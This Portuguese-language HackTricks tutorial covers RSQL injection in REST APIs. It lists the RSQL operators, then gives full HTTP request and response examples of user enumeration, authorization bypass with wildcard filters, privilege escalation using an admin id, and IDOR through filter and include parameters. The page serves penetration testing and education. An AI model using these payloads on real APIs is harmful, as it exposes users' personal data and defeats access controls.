RSQL Injection

Reading time: 16 minutes

RSQL Injection

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

RSQL Injection

O que é RSQL?

RSQL é uma linguagem de consulta projetada para filtragem parametrizada de entradas em APIs RESTful. Baseada no FIQL (Feed Item Query Language), originalmente especificada por Mark Nottingham para consultar feeds Atom, o RSQL se destaca por sua simplicidade e capacidade de expressar consultas complexas de forma compacta e compatível com URI sobre HTTP. Isso o torna uma excelente escolha como uma linguagem de consulta geral para busca em endpoints REST.

Visão Geral

A injeção de RSQL é uma vulnerabilidade em aplicações web que usam RSQL como linguagem de consulta em APIs RESTful. Semelhante à SQL Injection e LDAP Injection, essa vulnerabilidade ocorre quando os filtros RSQL não são devidamente sanitizados, permitindo que um atacante injete consultas maliciosas para acessar, modificar ou excluir dados sem autorização.

Como funciona?

O RSQL permite que você construa consultas avançadas em APIs RESTful, por exemplo:

bash
/products?filter=price>100;category==electronics

Isso se traduz em uma consulta estruturada que filtra produtos com preço superior a 100 e categoria "eletrônicos".

Se a aplicação não validar corretamente a entrada do usuário, um atacante poderia manipular o filtro para executar consultas inesperadas, como:

bash
/products?filter=id=in=(1,2,3);delete_all==true

Ou até mesmo aproveitar para extrair informações sensíveis com consultas Booleanas ou subconsultas aninhadas.

Riscos

  • Exposição de dados sensíveis: Um atacante pode recuperar informações que não deveriam ser acessíveis.
  • Modificação ou exclusão de dados: Injeção de filtros que alteram registros do banco de dados.
  • Escalação de privilégios: Manipulação de identificadores que concedem funções através de filtros para enganar a aplicação acessando com privilégios de outros usuários.
  • Evasão de controles de acesso: Manipulação de filtros para acessar dados restritos.
  • Imitação ou IDOR: Modificação de identificadores entre usuários através de filtros que permitem acesso a informações e recursos de outros usuários sem estar devidamente autenticado como tal.

Operadores RSQL suportados

OperadorDescriçãoExemplo
; / andOperador lógico E. Filtra linhas onde ambas as condições são verdadeiras/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orOperador lógico OU. Filtra linhas onde pelo menos uma condição é verdadeira/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Realiza uma consulta de igualdade. Retorna todas as linhas de myTable onde os valores em columnA são exatamente iguais a queryValue/api/v2/myTable?q=columnA==queryValue
=q=Realiza uma consulta de busca. Retorna todas as linhas de myTable onde os valores em columnA contêm queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Realiza uma consulta de semelhança. Retorna todas as linhas de myTable onde os valores em columnA são semelhantes a queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Realiza uma consulta de inclusão. Retorna todas as linhas de myTable onde columnA contém valueA OU valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Realiza uma consulta de exclusão. Retorna todas as linhas de myTable onde os valores em columnA não são nem valueA nem valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Realiza uma consulta de diferente de. Retorna todas as linhas de myTable onde os valores em columnA não são iguais a queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Realiza uma consulta de não semelhança. Retorna todas as linhas de myTable onde os valores em columnA não são semelhantes a queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Realiza uma consulta de menor que. Retorna todas as linhas de myTable onde os valores em columnA são menores que queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Realiza uma consulta de menor que ou igual a. Retorna todas as linhas de myTable onde os valores em columnA são menores ou iguais a queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Realiza uma consulta de maior que. Retorna todas as linhas de myTable onde os valores em columnA são maiores que queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Realiza uma consulta de igual a ou maior que. Retorna todas as linhas de myTable onde os valores em columnA são iguais ou maiores que queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Realiza uma consulta de de para. Retorna todas as linhas de myTable onde os valores em columnA são iguais ou maiores que o fromValue, e menores ou iguais ao toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Nota: Tabela baseada em informações de MOLGENIS e aplicações rsql-parser.

Exemplos

  • name=="Kill Bill";year=gt=2003
  • name=="Kill Bill" and year>2003
  • genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Nota: Tabela baseada em informações da aplicação rsql-parser.

Filtros comuns

Esses filtros ajudam a refinar consultas em APIs:

FiltroDescriçãoExemplo
filter[users]Filtra resultados por usuários específicos/api/v2/myTable?filter[users]=123
filter[status]Filtra por status (ativo/inativo, concluído, etc.)/api/v2/orders?filter[status]=active
filter[date]Filtra resultados dentro de um intervalo de datas/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Filtra por categoria ou tipo de recurso/api/v2/products?filter[category]=electronics
filter[id]Filtra por um identificador único/api/v2/posts?filter[id]=42

Parâmetros comuns

Esses parâmetros ajudam a otimizar as respostas da API:

ParâmetroDescriçãoExemplo
includeInclui recursos relacionados na resposta/api/v2/orders?include=customer,items
sortOrdena resultados em ordem crescente ou decrescente/api/v2/users?sort=-created_at
page[size]Controla o número de resultados por página/api/v2/products?page[size]=10
page[number]Especifica o número da página/api/v2/products?page[number]=2
fields[resource]Define quais campos retornar na resposta/api/v2/users?fields[users]=id,name,email
searchRealiza uma busca mais flexível/api/v2/posts?search=technology

Vazamento de informações e enumeração de usuários

A seguinte solicitação mostra um endpoint de registro que requer o parâmetro de email para verificar se há algum usuário registrado com esse email e retornar verdadeiro ou falso dependendo de sua existência no banco de dados:

Solicitação

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Embora um /api/registrations?email=<emailAccount> seja esperado, é possível usar filtros RSQL para tentar enumerar e/ou extrair informações do usuário por meio do uso de operadores especiais:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

No caso de corresponder a uma conta de email válida, a aplicação retornaria as informações do usuário em vez de um clássico “true”, "1" ou qualquer outra coisa na resposta ao servidor:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Evasão de autorização

Neste cenário, começamos a partir de um usuário com um papel básico e no qual não temos permissões privilegiadas (por exemplo, administrador) para acessar a lista de todos os usuários registrados no banco de dados:

Requisição

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Novamente, fazemos uso dos filtros e operadores especiais que nos permitirão uma maneira alternativa de obter as informações dos usuários e evadir o controle de acesso. Por exemplo, filtrar por aqueles users que contêm a letra “a” em seu ID de usuário:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Escalada de Privilégios

É muito provável encontrar certos endpoints que verificam os privilégios do usuário através de seu papel. Por exemplo, estamos lidando com um usuário que não tem privilégios:

Requisição

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Usando certos operadores, poderíamos enumerar usuários administradores:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Após conhecer um identificador de um usuário administrador, seria possível explorar uma escalada de privilégios substituindo ou adicionando o filtro correspondente com o identificador do administrador e obtendo os mesmos privilégios:

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......

Impersonar ou Referências Diretas de Objetos Inseguras (IDOR)

Além do uso do parâmetro filter, é possível usar outros parâmetros como include, que permite incluir no resultado certos parâmetros (por exemplo, idioma, país, senha...).

No exemplo a seguir, as informações do nosso perfil de usuário são mostradas:

Requisição

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

A combinação de filtros pode ser usada para evitar o controle de autorização e obter acesso aos perfis de outros usuários:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Resposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks